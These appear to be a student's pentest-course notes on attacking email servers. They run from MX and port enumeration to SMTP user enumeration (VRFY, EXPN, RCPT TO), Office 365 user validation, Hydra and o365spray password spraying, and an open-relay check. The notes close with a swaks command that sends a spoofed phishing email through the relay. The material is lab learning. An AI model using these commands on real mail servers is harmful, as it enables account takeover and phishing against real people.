- Pressing SEND on an email:
- Program establishes connection to an SMTP
Simple Mail Transfer Protocolserver - over internet, or on network.
- Program establishes connection to an SMTP
- Downloading emails to email application:
- Connect to POP3 or IMAP4 server on the internet
- By default pop3 clients remove downloaded messages from the email server - behavior makes it difficult to access mail on multiple devices since downloaded msgs stored locally. We can configure a pop3 client to keep copies of downloaded messages on the server.
- IMAP4 clients do not remove downloaded messages from the mail server.. Behavior makes it easy to access email messages from multiple devices.
Email servers can be complex and modern usage usually entails using Microsoft 365 or G-suite
We can use Mail eXchanger (MX) DNS record to identify a mailserver. MX records specifies the mail server that accepts msgs on behalf of a domain name. Possible to config several MX records typically pointing to an array of mail servers for LBs / redundancy
host -t MX hackthebox.eu
dig mx plaintext.do | grep "MX" | grep -v ";"
Host - A records
host -t A mail1.inlanefreight.htb
This information is essential because the enumeration methods may differ from one service to another. For example, most cloud service providers use their mail server implementation and adopt modern authentication, which opens new and unique attack vectors for each service provider. On the other hand, if the company configures the service, we could uncover bad practices and misconfigurations that allow common attacks on mail server protocols.
Targeting custom mailserver implementations we can enumerate the below ports:
- tcp/25 - smtp unencrypt
- tcp/143 - imap4 unencrypted
- tcp/110 - pop3 unencrypted
- tcp/465 - smtp encrypted
- tcp/587 - smtp encrypted/starttls
- tcp/993 - imap4 encrypted
- tcp/995 - pop3 encrypted
sudo nmap -Pn -sV -sC -p25,143,110,465,587,993,995 10.129.14.128
SMTP
enumerate valid usernames:
VRFY, EXPN, RCPT TO
telnet x.x.x.x 25
VRFY root
252 2.0.0 root
EXPN - similar to vrfy, except when used with distribution list it will list all users on that list. bigger problem than vrfy because sites often have an alias such as 'all'
EXPN john
250 2.1.0 john@inlanefreight.htb
EXPN support-team
250 2.0.0 carol@...
250 2.1.5 elisa@...
RCPT TO - recipient. cmd repeated multiple times for a given msg to deliver single msg to multiple recips.
MAIL FROM: test@htb.com
it is
250 2.1.0 test@htb.com... Sender ok
RCPT TO: julio
RCPT TO: kate
RCPT TO: john
250 2.1.5 john ... recipient ok
this same shit works with USER command in pop3 not going to copypaste notes
Automating enumeration process can be done using smtp-user-enum
https://github.com/pentestmonkey/smtp-user-enum
specify enum mode with -M followed by VRFY, XPN, or RCPT
-U = file containing list of users to enum
depending on server configuration / enum mode - add domain for address with argument -D
specify target with -t
email cloud enumeration
https://github.com/0xZDH/o365spray
python3 o365spray.py --validate --domain msplaintext.xyz
[...]
[VALID] The following domain is using o365 : [domain]
python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz
email password bruteforce
Hydra can be used to bruteforce smtp/pop3/imap4
hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3
If cloud services support SMTP, POP3, or IMAP4 protocols, we may be able to attempt to perform password spray using tools like Hydra, but these tools are usually blocked. We can instead try to use custom tools such as o365spray or MailSniper for Microsoft Office 365 or CredKing for Gmail or Okta.
python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz
Open relay SMTP
- Consists of improperly configured SMTP server configuration allowing an unauthenticated email relay.
- Messaging servers are accidentally or intentionally configured as open relays allow mail from any source to be re-routed through the server.
- Masks source of msgs and looks like mail originated from relay server.
From an attacker perspective this can be abused for phishing - sending mails as non-existent users or spoofing someone elses' email.
- Imagine open relay server and identify they use specific email to send notifs to other employees. Send similar mail w/ that addr, add phishing link.
nmap smtp-open-relay script = identify if smtp port allows an open relay.
nmap -p25 -Pn --script smtp-open-relay 10.10.11.213
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-28 23:59 EDT
Nmap scan report for 10.10.11.213
Host is up (0.28s latency).
PORT STATE SERVICE
25/tcp open smtp
|_smtp-open-relay: Server is an open relay (14/16 tests)
swaks --from notifications@inlanefreight.com --to employees@inlanefreight.com --header 'Subject: Company Notification' --body 'Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/' --server 10.10.11.213
Latest email server vulnerabilities
One of the most recent publicly disclosed and dangerous Simple Mail Transfer Protocol (SMTP) vulnerabilities was discovered in OpenSMTPD up to version 6.6.2 service was in 2020. This vulnerability was assigned CVE-2020-7247 and leads to RCE.